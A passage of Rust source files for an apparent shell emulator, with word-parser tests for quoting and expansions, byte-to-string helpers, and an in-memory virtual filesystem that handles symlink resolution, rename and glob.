}\n}\n\n#[test]\nfn word_parse_literal() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"hello\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::Text(s) => assert_eq!(s, \"hello\"),\n        other => panic!(\"expected Text, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_single_quoted() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"'no expansion'\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::SingleQuotedText(s) => {\n            assert_eq!(s, \"no expansion\");\n        }\n        other => panic!(\"expected SingleQuotedText, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_double_quoted_with_expansion() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"\\\"hello $USER\\\"\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::DoubleQuotedSequence(inner) => {\n            assert!(\n                inner.len() >= 2,\n                \"expected at least 2 pieces inside double quote, got {inner:?}\"\n            );\n        }\n        other => panic!(\"expected DoubleQuotedSequence, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_command_substitution() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"$(echo hi)\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::CommandSubstitution(_) => {}\n        other => panic!(\"expected CommandSubstitution, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_backtick_substitution() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"`echo hi`\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::BackquotedCommandSubstitution(_) => {}\n        other => panic!(\"expected BackquotedCommandSubstitution, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_arithmetic_expression() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"$((1+2))\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    // NOTE: brush-parser uses `ArithmeticExpression`, not `ArithmeticExpansion`\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::ArithmeticExpression(_) => {}\n        other => panic!(\"expected ArithmeticExpression, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_tilde() {\n    let mut opts = default_parser_options();\n    opts.tilde_expansion_at_word_start = true;\n    let pieces = brush_parser::word::parse(\"~/bin\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::TildeExpansion(expr) => {\n            assert!(\n                matches!(expr, brush_parser::word::TildeExpr::Home),\n                \"expected TildeExpr::Home, got {expr:?}\"\n            );\n        }\n        other => panic!(\"expected TildeExpansion, got {other:?}\"),\n    }\n}\n\n#[test]\nfn word_parse_parameter_expansion_braced() {\n    let opts = default_parser_options();\n    let pieces = brush_parser::word::parse(\"${VAR:-default}\", &opts).unwrap();\n    assert!(!pieces.is_empty());\n    match &pieces[0].piece {\n        brush_parser::word::WordPiece::ParameterExpansion(_) => {}\n        other => panic!(\"expected ParameterExpansion, got {other:?}\"),\n    }\n}\n","/home/user/src/platform.rs":"//! Platform abstraction for types that differ between native and WASM.\n//!\n//! On native targets, re-exports from `std::time`.\n//! On `wasm32`, re-exports from `web_time` which uses `js_sys::Date` under the hood.\n\n#[cfg(target_arch = \"wasm32\")]\npub use web_time::{Instant, SystemTime, UNIX_EPOCH};\n\n#[cfg(not(target_arch = \"wasm32\"))]\npub use std::time::{Instant, SystemTime, UNIX_EPOCH};\n","/home/user/src/shell_bytes.rs":"//! Helpers for representing shell byte streams inside Rust `String`s.\n//!\n//! Valid UTF-8 sequences are decoded normally. Bytes that can't be represented\n//! as UTF-8 at their current position are mapped to the Unicode private-use\n//! block so shell expansions can keep operating on a `String` while still\n//! preserving the original byte stream for length calculations and binary-aware\n//! commands like `od`.\n\nconst SHELL_BYTE_MARKER_BASE: u32 = 0xE000;\n\nfn marker_for_byte(byte: u8) -> char {\n    char::from_u32(SHELL_BYTE_MARKER_BASE + byte as u32).unwrap()\n}\n\npub(crate) fn marker_byte(ch: char) -> Option<u8> {\n    let code = ch as u32;\n    if (SHELL_BYTE_MARKER_BASE..=SHELL_BYTE_MARKER_BASE + 0xFF).contains(&code) {\n        Some((code - SHELL_BYTE_MARKER_BASE) as u8)\n    } else {\n        None\n    }\n}\n\npub(crate) fn contains_markers(s: &str) -> bool {\n    s.chars().any(|ch| marker_byte(ch).is_some())\n}\n\npub(crate) fn encode_shell_string(s: &str) -> Vec<u8> {\n    let mut out = Vec::with_capacity(s.len());\n    for ch in s.chars() {\n        if let Some(byte) = marker_byte(ch) {\n            out.push(byte);\n        } else {\n            let mut buf = [0u8; 4];\n            out.extend_from_slice(ch.encode_utf8(&mut buf).as_bytes());\n        }\n    }\n    out\n}\n\npub(crate) fn decode_shell_bytes(bytes: &[u8]) -> String {\n    let mut out = String::new();\n    let mut i = 0usize;\n\n    while i < bytes.len() {\n        match std::str::from_utf8(&bytes[i..]) {\n            Ok(valid) => {\n                out.push_str(valid);\n                break;\n            }\n            Err(err) => {\n                let valid = err.valid_up_to();\n                if valid > 0 {\n                    out.push_str(std::str::from_utf8(&bytes[i..i + valid]).unwrap());\n                    i += valid;\n                    continue;\n                }\n\n                match err.error_len() {\n                    Some(invalid_len) => {\n                        for &byte in &bytes[i..i + invalid_len] {\n                            if byte.is_ascii() {\n                                out.push(byte as char);\n                            } else {\n                                out.push(marker_for_byte(byte));\n                            }\n                        }\n                        i += invalid_len;\n                    }\n                    None => {\n                        for &byte in &bytes[i..] {\n                            if byte.is_ascii() {\n                                out.push(byte as char);\n                            } else {\n                                out.push(marker_for_byte(byte));\n                            }\n                        }\n                        break;\n                    }\n                }\n            }\n        }\n    }\n\n    out\n}\n","/home/user/src/vfs/memory.rs":"use std::collections::BTreeMap;\nuse std::path::{Component, Path, PathBuf};\nuse std::sync::Arc;\n\nuse crate::platform::SystemTime;\n\nuse parking_lot::RwLock;\n\nuse super::{DirEntry, FsNode, GlobOptions, Metadata, NodeType, VirtualFs};\nuse crate::error::VfsError;\n\nconst MAX_SYMLINK_DEPTH: u32 = 40;\n\n/// A fully in-memory filesystem implementation.\n///\n/// Thread-safe via `Arc<RwLock<...>>` — all `VirtualFs` methods take `&self`.\n/// Cloning is cheap (Arc increment) which is useful for subshell state cloning.\n#[derive(Debug, Clone)]\npub struct InMemoryFs {\n    root: Arc<RwLock<FsNode>>,\n}\n\nimpl Default for InMemoryFs {\n    fn default() -> Self {\n        Self::new()\n    }\n}\n\nimpl InMemoryFs {\n    pub fn new() -> Self {\n        Self {\n            root: Arc::new(RwLock::new(FsNode::Directory {\n                children: BTreeMap::new(),\n                mode: 0o755,\n                mtime: SystemTime::now(),\n            })),\n        }\n    }\n\n    /// Create a completely independent copy of this filesystem.\n    ///\n    /// Unlike `Clone` (which shares data via `Arc`), this recursively clones\n    /// the entire `FsNode` tree so the copy and original are fully independent.\n    /// Used for subshell isolation: `( cmds )`.\n    pub fn deep_clone(&self) -> Self {\n        let tree = self.root.read();\n        Self {\n            root: Arc::new(RwLock::new(tree.clone())),\n        }\n    }\n\n    fn next_file_id(&self) -> u64 {\n        fn visit(node: &FsNode, max_id: &mut u64) {\n            match node {\n                FsNode::File { file_id, .. } => {\n                    *max_id = (*max_id).max(*file_id);\n                }\n                FsNode::Directory { children, .. } => {\n                    for child in children.values() {\n                        visit(child, max_id);\n                    }\n                }\n                FsNode::Symlink { .. } => {}\n            }\n        }\n\n        let tree = self.root.read();\n        let mut max_id = 0;\n        visit(&tree, &mut max_id);\n        max_id + 1\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Path utilities\n// ---------------------------------------------------------------------------\n\n/// Normalize an absolute path: resolve `.` and `..`, strip trailing slashes,\n/// reject empty paths.\nfn normalize(path: &Path) -> Result<PathBuf, VfsError> {\n    let s = path.to_str().unwrap_or(\"\");\n    if s.is_empty() {\n        return Err(VfsError::InvalidPath(\"empty path\".into()));\n    }\n    if !super::vfs_path_is_absolute(path) {\n        return Err(VfsError::InvalidPath(format!(\n            \"path must be absolute: {}\",\n            path.display()\n        )));\n    }\n\n    let mut parts: Vec<String> = Vec::new();\n    for comp in path.components() {\n        match comp {\n            Component::RootDir | Component::Prefix(_) => {}\n            Component::CurDir => {}\n            Component::ParentDir => {\n                parts.pop();\n            }\n            Component::Normal(seg) => {\n                if let Some(s) = seg.to_str() {\n                    parts.push(s.to_owned());\n                } else {\n                    return Err(VfsError::InvalidPath(format!(\n                        \"non-UTF-8 component in: {}\",\n                        path.display()\n                    )));\n                }\n            }\n        }\n    }\n\n    let mut result = PathBuf::from(\"/\");\n    for p in &parts {\n        result.push(p);\n    }\n    Ok(result)\n}\n\n/// Split a normalized absolute path into its component names (excluding root).\nfn components(path: &Path) -> Vec<&str> {\n    path.components()\n        .filter_map(|c| match c {\n            Component::Normal(s) => s.to_str(),\n            _ => None,\n        })\n        .collect()\n}\n\n// ---------------------------------------------------------------------------\n// Internal node navigation helpers\n// ---------------------------------------------------------------------------\n\nimpl InMemoryFs {\n    /// Read-lock the tree, navigate to a node (resolving symlinks), apply `f`.\n    fn with_node<F, T>(&self, path: &Path, f: F) -> Result<T, VfsError>\n    where\n        F: FnOnce(&FsNode) -> Result<T, VfsError>,\n    {\n        let norm = normalize(path)?;\n        let tree = self.root.read();\n        let node = navigate(&tree, &norm, true, MAX_SYMLINK_DEPTH, &tree)?;\n        f(node)\n    }\n\n    /// Read-lock the tree, navigate to a node **without** resolving the final\n    /// symlink component, apply `f`.\n    fn with_node_no_follow<F, T>(&self, path: &Path, f: F) -> Result<T, VfsError>\n    where\n        F: FnOnce(&FsNode) -> Result<T, VfsError>,\n    {\n        let norm = normalize(path)?;\n        let tree = self.root.read();\n        let node = navigate(&tree, &norm, false, MAX_SYMLINK_DEPTH, &tree)?;\n        f(node)\n    }\n\n    /// Write-lock, navigate to the **parent** of `path`, call `f(parent, child_name)`.\n    fn with_parent_mut<F, T>(&self, path: &Path, f: F) -> Result<T, VfsError>\n    where\n        F: FnOnce(&mut FsNode, &str) -> Result<T, VfsError>,\n    {\n        let norm = normalize(path)?;\n        let parts = components(&norm);\n        if parts.is_empty() {\n            return Err(VfsError::InvalidPath(\n                \"cannot operate on root itself\".into(),\n            ));\n        }\n        let child_name = parts.last().unwrap();\n        let parent_path: PathBuf = if parts.len() == 1 {\n            PathBuf::from(\"/\")\n        } else {\n            let mut p = PathBuf::from(\"/\");\n            for seg in &parts[..parts.len() - 1] {\n                p.push(seg);\n            }\n            p\n        };\n\n        let mut tree = self.root.write();\n        let parent = navigate_mut(&mut tree, &parent_path, true, MAX_SYMLINK_DEPTH)?;\n        f(parent, child_name)\n    }\n\n    /// Write-lock, navigate to a node (resolving symlinks), apply `f`.\n    fn with_node_mut<F, T>(&self, path: &Path, f: F) -> Result<T, VfsError>\n    where\n        F: FnOnce(&mut FsNode) -> Result<T, VfsError>,\n    {\n        let norm = normalize(path)?;\n        let mut tree = self.root.write();\n        let node = navigate_mut(&mut tree, &norm, true, MAX_SYMLINK_DEPTH)?;\n        f(node)\n    }\n\n    /// Resolve symlinks in a path, returning the canonical absolute path.\n    fn resolve_path(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let norm = normalize(path)?;\n        let tree = self.root.read();\n        resolve_canonical(&tree, &norm, MAX_SYMLINK_DEPTH, &tree)\n    }\n}\n\n// ---------------------------------------------------------------------------\n// Tree navigation (works on borrowed FsNode trees)\n// ---------------------------------------------------------------------------\n\n/// Navigate the tree from `root` to `path`, optionally following symlinks on\n/// the final component. Returns a reference to the target node.\nfn navigate<'a>(\n    root: &'a FsNode,\n    path: &Path,\n    follow_final: bool,\n    depth: u32,\n    tree_root: &'a FsNode,\n) -> Result<&'a FsNode, VfsError> {\n    if depth == 0 {\n        return Err(VfsError::SymlinkLoop(path.to_path_buf()));\n    }\n\n    let parts = components(path);\n    if parts.is_empty() {\n        return Ok(root);\n    }\n\n    let mut current = root;\n    for (i, name) in parts.iter().enumerate() {\n        let is_last = i == parts.len() - 1;\n        // Resolve current if it's a symlink (intermediate components always resolved)\n        current = resolve_if_symlink(current, path, depth, tree_root)?;\n\n        match current {\n            FsNode::Directory { children, .. } => {\n                let child = children\n                    .get(*name)\n                    .ok_or_else(|| VfsError::NotFound(path.to_path_buf()))?;\n                if is_last && !follow_final {\n                    current = child;\n                } else {\n                    current = resolve_if_symlink(child, path, depth - 1, tree_root)?;\n                }\n            }\n            _ => return Err(VfsError::NotADirectory(path.to_path_buf())),\n        }\n    }\n    Ok(current)\n}\n\n/// Resolve a node if it is a symlink, following chains up to `depth`.\nfn resolve_if_symlink<'a>(\n    node: &'a FsNode,\n    original_path: &Path,\n    depth: u32,\n    tree_root: &'a FsNode,\n) -> Result<&'a FsNode, VfsError> {\n    if depth == 0 {\n        return Err(VfsError::SymlinkLoop(original_path.to_path_buf()));\n    }\n    match node {\n        FsNode::Symlink { target, .. } => {\n            let target_norm = normalize(target)?;\n            navigate(tree_root, &target_norm, true, depth - 1, tree_root)\n        }\n        other => Ok(other),\n    }\n}\n\n/// Mutable navigation. Symlinks on intermediate components are resolved by\n/// restarting from root (which requires dropping and re-borrowing).\n/// For simplicity, we first compute the canonical path, then navigate directly.\nfn navigate_mut<'a>(\n    root: &'a mut FsNode,\n    path: &Path,\n    follow_final: bool,\n    depth: u32,\n) -> Result<&'a mut FsNode, VfsError> {\n    if depth == 0 {\n        return Err(VfsError::SymlinkLoop(path.to_path_buf()));\n    }\n\n    let parts = components(path);\n    if parts.is_empty() {\n        return Ok(root);\n    }\n\n    // We need to handle symlinks during mutable traversal.\n    // Strategy: traverse step by step; if we hit a symlink, resolve it to get the\n    // canonical path of that prefix, then restart navigation from root with the\n    // resolved prefix + remaining components.\n    let canonical = resolve_canonical_from_root(root, path, follow_final, depth)?;\n    let canon_parts = components(&canonical);\n\n    let mut current = root as &mut FsNode;\n    for name in &canon_parts {\n        match current {\n            FsNode::Directory { children, .. } => {\n                current = children\n                    .get_mut(*name)\n                    .ok_or_else(|| VfsError::NotFound(path.to_path_buf()))?;\n            }\n            _ => return Err(VfsError::NotADirectory(path.to_path_buf())),\n        }\n    }\n    Ok(current)\n}\n\n/// Resolve a path to its canonical form by walking the tree and resolving symlinks.\nfn resolve_canonical(\n    root: &FsNode,\n    path: &Path,\n    depth: u32,\n    tree_root: &FsNode,\n) -> Result<PathBuf, VfsError> {\n    if depth == 0 {\n        return Err(VfsError::SymlinkLoop(path.to_path_buf()));\n    }\n\n    let parts = components(path);\n    let mut resolved = PathBuf::from(\"/\");\n    let mut current = root;\n\n    for name in &parts {\n        // current must be a directory (resolve symlinks)\n        current = resolve_if_symlink(current, path, depth, tree_root)?;\n        match current {\n            FsNode::Directory { children, .. } => {\n                let child = children\n                    .get(*name)\n                    .ok_or_else(|| VfsError::NotFound(path.to_path_buf()))?;\n                match child {\n                    FsNode::Symlink { target, .. } => {\n                        let target_norm = normalize(target)?;\n                        // Resolve the symlink target recursively\n                        resolved =\n                            resolve_canonical(tree_root, &target_norm, depth - 1, tree_root)?;\n                        current = navigate(tree_root, &resolved, true, depth - 1, tree_root)?;\n                    }\n                    _ => {\n                        resolved.push(name);\n                        current = child;\n                    }\n                }\n            }\n            _ => return Err(VfsError::NotADirectory(path.to_path_buf())),\n        }\n    }\n    Ok(resolved)\n}\n\n/// Same as `resolve_canonical` but works from a mutable root reference\n/// (read-only traversal to compute the path).\nfn resolve_canonical_from_root(\n    root: &FsNode,\n    path: &Path,\n    follow_final: bool,\n    depth: u32,\n) -> Result<PathBuf, VfsError> {\n    if depth == 0 {\n        return Err(VfsError::SymlinkLoop(path.to_path_buf()));\n    }\n\n    let parts = components(path);\n    let mut resolved = PathBuf::from(\"/\");\n    let mut current: &FsNode = root;\n\n    for (i, name) in parts.iter().enumerate() {\n        let is_last = i == parts.len() - 1;\n        // current must be a directory (resolve symlinks)\n        current = resolve_if_symlink_from_root(current, path, depth, root)?;\n        match current {\n            FsNode::Directory { children, .. } => {\n                let child = children\n                    .get(*name)\n                    .ok_or_else(|| VfsError::NotFound(path.to_path_buf()))?;\n                if is_last && !follow_final {\n                    resolved.push(name);\n                    break;\n                }\n                match child {\n                    FsNode::Symlink { target, .. } => {\n                        let target_norm = normalize(target)?;\n                        resolved =\n                            resolve_canonical_from_root(root, &target_norm, true, depth - 1)?;\n                        current = navigate_readonly(root, &resolved, true, depth - 1, root)?;\n                    }\n                    _ => {\n                        resolved.push(name);\n                        current = child;\n                    }\n                }\n            }\n            _ => return Err(VfsError::NotADirectory(path.to_path_buf())),\n        }\n    }\n    Ok(resolved)\n}\n\nfn resolve_if_symlink_from_root<'a>(\n    node: &'a FsNode,\n    original_path: &Path,\n    depth: u32,\n    root: &'a FsNode,\n) -> Result<&'a FsNode, VfsError> {\n    if depth == 0 {\n        return Err(VfsError::SymlinkLoop(original_path.to_path_buf()));\n    }\n    match node {\n        FsNode::Symlink { target, .. } => {\n            let target_norm = normalize(target)?;\n            navigate_readonly(root, &target_norm, true, depth - 1, root)\n        }\n        other => Ok(other),\n    }\n}\n\nfn navigate_readonly<'a>(\n    root: &'a FsNode,\n    path: &Path,\n    follow_final: bool,\n    depth: u32,\n    tree_root: &'a FsNode,\n) -> Result<&'a FsNode, VfsError> {\n    navigate(root, path, follow_final, depth, tree_root)\n}\n\n/// Navigate a mutable tree by component names (no symlink resolution).\n/// Returns `None` if any component is missing or not a directory.\nfn navigate_to_mut<'a>(node: &'a mut FsNode, parts: &[&str]) -> Option<&'a mut FsNode> {\n    let mut current = node;\n    for name in parts {\n        match current {\n            FsNode::Directory { children, .. } => {\n                current = children.get_mut(*name)?;\n            }\n            _ => return None,\n        }\n    }\n    Some(current)\n}\n\n// ---------------------------------------------------------------------------\n// VirtualFs implementation\n// ---------------------------------------------------------------------------\n\nimpl VirtualFs for InMemoryFs {\n    fn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError> {\n        self.with_node(path, |node| match node {\n            FsNode::File { content, .. } => Ok(content.clone()),\n            FsNode::Directory { .. } => Err(VfsError::IsADirectory(path.to_path_buf())),\n            FsNode::Symlink { .. } => Err(VfsError::IoError(\n                \"unexpected symlink after resolution\".into(),\n            )),\n        })\n    }\n\n    fn write_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n\n        // Try to overwrite an existing file first\n        {\n            let mut tree = self.root.write();\n            let canon_result = resolve_canonical_from_root(&tree, &norm, true, MAX_SYMLINK_DEPTH);\n            if let Ok(canon) = canon_result {\n                let canon_parts = components(&canon);\n                let node = navigate_to_mut(&mut tree, &canon_parts);\n                if let Some(node) = node {\n                    match node {\n                        FsNode::File {\n                            content: c,\n                            mtime: m,\n                            ..\n                        } => {\n                            *c = content.to_vec();\n                            *m = SystemTime::now();\n                            return Ok(());\n                        }\n                        FsNode::Directory { .. } => {\n                            return Err(VfsError::IsADirectory(path.to_path_buf()));\n                        }\n                        FsNode::Symlink { .. } => {}\n                    }\n                }\n            }\n        }\n\n        // File doesn't exist — create it in the parent directory\n        let file_id = self.next_file_id();\n        self.with_parent_mut(path, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => {\n                children.insert(\n                    child_name.to_string(),\n                    FsNode::File {\n                        content: content.to_vec(),\n                        mode: 0o644,\n                        mtime: SystemTime::now(),\n                        file_id,\n                    },\n                );\n                Ok(())\n            }\n            _ => Err(VfsError::NotADirectory(path.to_path_buf())),\n        })\n    }\n\n    fn append_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError> {\n        self.with_node_mut(path, |node| match node {\n            FsNode::File {\n                content: c,\n                mtime: m,\n                ..\n            } => {\n                c.extend_from_slice(content);\n                *m = SystemTime::now();\n                Ok(())\n            }\n            FsNode::Directory { .. } => Err(VfsError::IsADirectory(path.to_path_buf())),\n            FsNode::Symlink { .. } => Err(VfsError::IoError(\n                \"unexpected symlink after resolution\".into(),\n            )),\n        })\n    }\n\n    fn remove_file(&self, path: &Path) -> Result<(), VfsError> {\n        // Resolve the path to find the actual location of the file\n        let norm = normalize(path)?;\n\n        // Check if the final component is a symlink — remove_file should remove the link, not the target\n        self.with_parent_mut(path, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => match children.get(child_name) {\n                Some(FsNode::File { .. } | FsNode::Symlink { .. }) => {\n                    children.remove(child_name);\n                    Ok(())\n                }\n                Some(FsNode::Directory { .. }) => Err(VfsError::IsADirectory(norm.clone())),\n                None => Err(VfsError::NotFound(norm.clone())),\n            },\n            _ => Err(VfsError::NotADirectory(norm.clone())),\n        })\n    }\n\n    fn mkdir(&self, path: &Path) -> Result<(), VfsError> {\n        self.with_parent_mut(path, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => {\n                if children.contains_key(child_name) {\n                    return Err(VfsError::AlreadyExists(path.to_path_buf()));\n                }\n                children.insert(\n                    child_name.to_string(),\n                    FsNode::Directory {\n                        children: BTreeMap::new(),\n                        mode: 0o755,\n                        mtime: SystemTime::now(),\n                    },\n                );\n                Ok(())\n            }\n            _ => Err(VfsError::NotADirectory(path.to_path_buf())),\n        })\n    }\n\n    fn mkdir_p(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        let parts = components(&norm);\n        if parts.is_empty() {\n            return Ok(()); // root already exists\n        }\n\n        let mut tree = self.root.write();\n        let mut current: &mut FsNode = &mut tree;\n        for name in &parts {\n            match current {\n                FsNode::Directory { children, .. } => {\n                    current =\n                        children\n                            .entry((*name).to_string())\n                            .or_insert_with(|| FsNode::Directory {\n                                children: BTreeMap::new(),\n                                mode: 0o755,\n                                mtime: SystemTime::now(),\n                            });\n                    // If it already exists as a dir, that's fine. If it's a file, error.\n                    match current {\n                        FsNode::Directory { .. } => {}\n                        FsNode::File { .. } => {\n                            return Err(VfsError::NotADirectory(path.to_path_buf()));\n                        }\n                        FsNode::Symlink { .. } => {\n                            // For simplicity, don't follow symlinks in mkdir_p path creation\n                            return Err(VfsError::NotADirectory(path.to_path_buf()));\n                        }\n                    }\n                }\n                _ => return Err(VfsError::NotADirectory(path.to_path_buf())),\n            }\n        }\n        Ok(())\n    }\n\n    fn readdir(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError> {\n        self.with_node(path, |node| match node {\n            FsNode::Directory { children, .. } => {\n                let entries = children\n                    .iter()\n                    .map(|(name, child)| DirEntry {\n                        name: name.clone(),\n                        node_type: match child {\n                            FsNode::File { .. } => NodeType::File,\n                            FsNode::Directory { .. } => NodeType::Directory,\n                            FsNode::Symlink { .. } => NodeType::Symlink,\n                        },\n                    })\n                    .collect();\n                Ok(entries)\n            }\n            _ => Err(VfsError::NotADirectory(path.to_path_buf())),\n        })\n    }\n\n    fn remove_dir(&self, path: &Path) -> Result<(), VfsError> {\n        self.with_parent_mut(path, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => match children.get(child_name) {\n                Some(FsNode::Directory { children: ch, .. }) => {\n                    if ch.is_empty() {\n                        children.remove(child_name);\n                        Ok(())\n                    } else {\n                        Err(VfsError::DirectoryNotEmpty(path.to_path_buf()))\n                    }\n                }\n                Some(FsNode::File { .. }) => Err(VfsError::NotADirectory(path.to_path_buf())),\n                Some(FsNode::Symlink { .. }) => Err(VfsError::NotADirectory(path.to_path_buf())),\n                None => Err(VfsError::NotFound(path.to_path_buf())),\n            },\n            _ => Err(VfsError::NotADirectory(path.to_path_buf())),\n        })\n    }\n\n    fn remove_dir_all(&self, path: &Path) -> Result<(), VfsError> {\n        self.with_parent_mut(path, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => match children.get(child_name) {\n                Some(FsNode::Directory { .. }) => {\n                    children.remove(child_name);\n                    Ok(())\n                }\n                Some(FsNode::File { .. }) => Err(VfsError::NotADirectory(path.to_path_buf())),\n                Some(FsNode::Symlink { .. }) => Err(VfsError::NotADirectory(path.to_path_buf())),\n                None => Err(VfsError::NotFound(path.to_path_buf())),\n            },\n            _ => Err(VfsError::NotADirectory(path.to_path_buf())),\n        })\n    }\n\n    fn exists(&self, path: &Path) -> bool {\n        let norm = match normalize(path) {\n            Ok(p) => p,\n            Err(_) => return false,\n        };\n        let tree = self.root.read();\n        navigate(&tree, &norm, true, MAX_SYMLINK_DEPTH, &tree).is_ok()\n    }\n\n    fn stat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        self.with_node(path, |node| Ok(node_metadata(node)))\n    }\n\n    fn lstat(&self, path: &Path) -> Result<Metadata, VfsError> {\n        self.with_node_no_follow(path, |node| Ok(node_metadata(node)))\n    }\n\n    fn chmod(&self, path: &Path, mode: u32) -> Result<(), VfsError> {\n        self.with_node_mut(path, |node| {\n            match node {\n                FsNode::File { mode: m, .. } | FsNode::Directory { mode: m, .. } => {\n                    *m = mode;\n                }\n                FsNode::Symlink { .. } => {\n                    // chmod on a symlink (after resolution) shouldn't hit this\n                    return Err(VfsError::IoError(\"cannot chmod a symlink directly\".into()));\n                }\n            }\n            Ok(())\n        })\n    }\n\n    fn utimes(&self, path: &Path, mtime: SystemTime) -> Result<(), VfsError> {\n        self.with_node_mut(path, |node| {\n            match node {\n                FsNode::File { mtime: m, .. }\n                | FsNode::Directory { mtime: m, .. }\n                | FsNode::Symlink { mtime: m, .. } => {\n                    *m = mtime;\n                }\n            }\n            Ok(())\n        })\n    }\n\n    fn symlink(&self, target: &Path, link: &Path) -> Result<(), VfsError> {\n        self.with_parent_mut(link, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => {\n                if children.contains_key(child_name) {\n                    return Err(VfsError::AlreadyExists(link.to_path_buf()));\n                }\n                children.insert(\n                    child_name.to_string(),\n                    FsNode::Symlink {\n                        target: target.to_path_buf(),\n                        mtime: SystemTime::now(),\n                    },\n                );\n                Ok(())\n            }\n            _ => Err(VfsError::NotADirectory(link.to_path_buf())),\n        })\n    }\n\n    fn hardlink(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        // Hard links in an in-memory FS: clone the node data.\n        let content = self.read_file(src)?;\n        let meta = self.stat(src)?;\n        self.with_parent_mut(dst, |parent, child_name| match parent {\n            FsNode::Directory { children, .. } => {\n                if children.contains_key(child_name) {\n                    return Err(VfsError::AlreadyExists(dst.to_path_buf()));\n                }\n                children.insert(\n                    child_name.to_string(),\n                    FsNode::File {\n                        content: content.clone(),\n                        mode: meta.mode,\n                        mtime: meta.mtime,\n                        file_id: meta.file_id,\n                    },\n                );\n                Ok(())\n            }\n            _ => Err(VfsError::NotADirectory(dst.to_path_buf())),\n        })\n    }\n\n    fn readlink(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        self.with_node_no_follow(path, |node| match node {\n            FsNode::Symlink { target, .. } => Ok(target.clone()),\n            _ => Err(VfsError::InvalidPath(format!(\n                \"not a symlink: {}\",\n                path.display()\n            ))),\n        })\n    }\n\n    fn canonicalize(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        self.resolve_path(path)\n    }\n\n    fn copy(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let content = self.read_file(src)?;\n        let meta = self.stat(src)?;\n        self.write_file(dst, &content)?;\n        self.chmod(dst, meta.mode)?;\n        Ok(())\n    }\n\n    fn rename(&self, src: &Path, dst: &Path) -> Result<(), VfsError> {\n        let src_norm = normalize(src)?;\n        let dst_norm = normalize(dst)?;\n\n        let src_parts = components(&src_norm);\n        let dst_parts = components(&dst_norm);\n        if src_parts.is_empty() || dst_parts.is_empty() {\n            return Err(VfsError::InvalidPath(\"cannot rename root\".into()));\n        }\n\n        let mut tree = self.root.write();\n\n        // Extract the source node from the tree\n        let node = {\n            let src_parent_parts = &src_parts[..src_parts.len() - 1];\n            let src_child = src_parts.last().unwrap();\n\n            let mut parent: &mut FsNode = &mut tree;\n            for name in src_parent_parts {\n                match parent {\n                    FsNode::Directory { children, .. } => {\n                        parent = children\n                            .get_mut(*name)\n                            .ok_or_else(|| VfsError::NotFound(src.to_path_buf()))?;\n                    }\n                    _ => return Err(VfsError::NotADirectory(src.to_path_buf())),\n                }\n            }\n            match parent {\n                FsNode::Directory { children, .. } => children\n                    .remove(*src_child)\n                    .ok_or_else(|| VfsError::NotFound(src.to_path_buf()))?,\n                _ => return Err(VfsError::NotADirectory(src.to_path_buf())),\n            }\n        };\n\n        // Insert at destination\n        {\n            let dst_parent_parts = &dst_parts[..dst_parts.len() - 1];\n            let dst_child = dst_parts.last().unwrap();\n\n            let mut parent: &mut FsNode = &mut tree;\n            for name in dst_parent_parts {\n                match parent {\n                    FsNode::Directory { children, .. } => {\n                        parent = children\n                            .get_mut(*name)\n                            .ok_or_else(|| VfsError::NotFound(dst.to_path_buf()))?;\n                    }\n                    _ => return Err(VfsError::NotADirectory(dst.to_path_buf())),\n                }\n            }\n            match parent {\n                FsNode::Directory { children, .. } => {\n                    children.insert((*dst_child).to_string(), node);\n                }\n                _ => return Err(VfsError::NotADirectory(dst.to_path_buf())),\n            }\n        }\n\n        Ok(())\n    }\n\n    fn glob(&self, pattern: &str, cwd: &Path) -> Result<Vec<PathBuf>, VfsError> {\n        // VFS-level glob always supports ** recursion; the shell expansion layer\n        // controls whether ** is sent as a pattern based on `shopt -s globstar`.\n        self.glob_with_opts(\n            pattern,\n            cwd,\n            &GlobOptions {\n                globstar: true,\n                ..GlobOptions::default()\n            },\n        )\n    }\n\n    fn glob_with_opts(\n        &self,\n        pattern: &str,\n        cwd: &Path,\n        opts: &GlobOptions,\n    ) -> Result<Vec<PathBuf>, VfsError> {\n        let is_absolute = pattern.starts_with('/');\n    